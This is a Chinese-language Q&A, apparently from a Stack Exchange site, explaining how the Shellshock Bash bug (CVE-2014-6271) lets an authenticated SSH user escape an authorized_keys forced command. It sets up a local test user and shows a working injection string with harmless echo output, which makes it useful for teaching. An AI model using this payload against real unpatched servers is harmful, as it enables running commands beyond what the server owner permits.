Bash
如何通過 SSH 來利用 shellshock?
顯然,shellshock Bash 漏洞利用CVE-2014-6271可以通過 SSH 在網路上被利用。我可以想像這個漏洞利用如何通過 Apache/CGI 工作,但我無法想像這將如何通過 SSH 工作?
有人可以提供一個如何利用 SSH 的範例,以及可能對系統造成什麼損害?
澄清
AFAIU,只有經過身份驗證的使用者才能通過 SSH 利用此漏洞。對於無論如何都可以合法訪問系統的人來說,這個漏洞有什麼用?我的意思是,這個漏洞利用沒有權限提升(他不能成為 root),所以他只能通過 SSH 合法登錄後做的事情。
可以利用這一點的一個範例是在具有
authorized_keys
強制命令的伺服器上。向 中添加條目時~/.ssh/authorized_keys
,您可以在該行前加上前綴以在使用 ssh 公鑰的任何時候command="foo"
強制執行。foo
使用此漏洞,如果目標使用者的 shell 設置為bash
,則他們可以利用漏洞來執行他們被迫執行的命令以外的其他內容。這在範例中可能更有意義,所以這裡有一個範例:
sudo useradd -d /testuser -s /bin/bash testuser sudo mkdir -p /testuser/.ssh sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys" sudo chown -R testuser /testuser
在這裡,我們設置了一個使用者
testuser
,它強制使用您的 ssh 密鑰執行任何 ssh 連接echo starting sleep; sleep 1
。我們可以通過以下方式進行測試:
$ ssh testuser@localhost echo something else starting sleep
注意我們
echo something else
沒有執行,但starting sleep
顯示強制命令確實執行了。現在讓我們展示如何使用這個漏洞:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE' MALICIOUS CODE starting sleep
這是有效的,因為
sshd
將SSH_ORIGINAL_COMMAND
環境變數設置為傳遞的命令。因此,即使sshd
runsleep
,而不是我告訴它的命令,由於漏洞利用,我的程式碼仍然可以執行。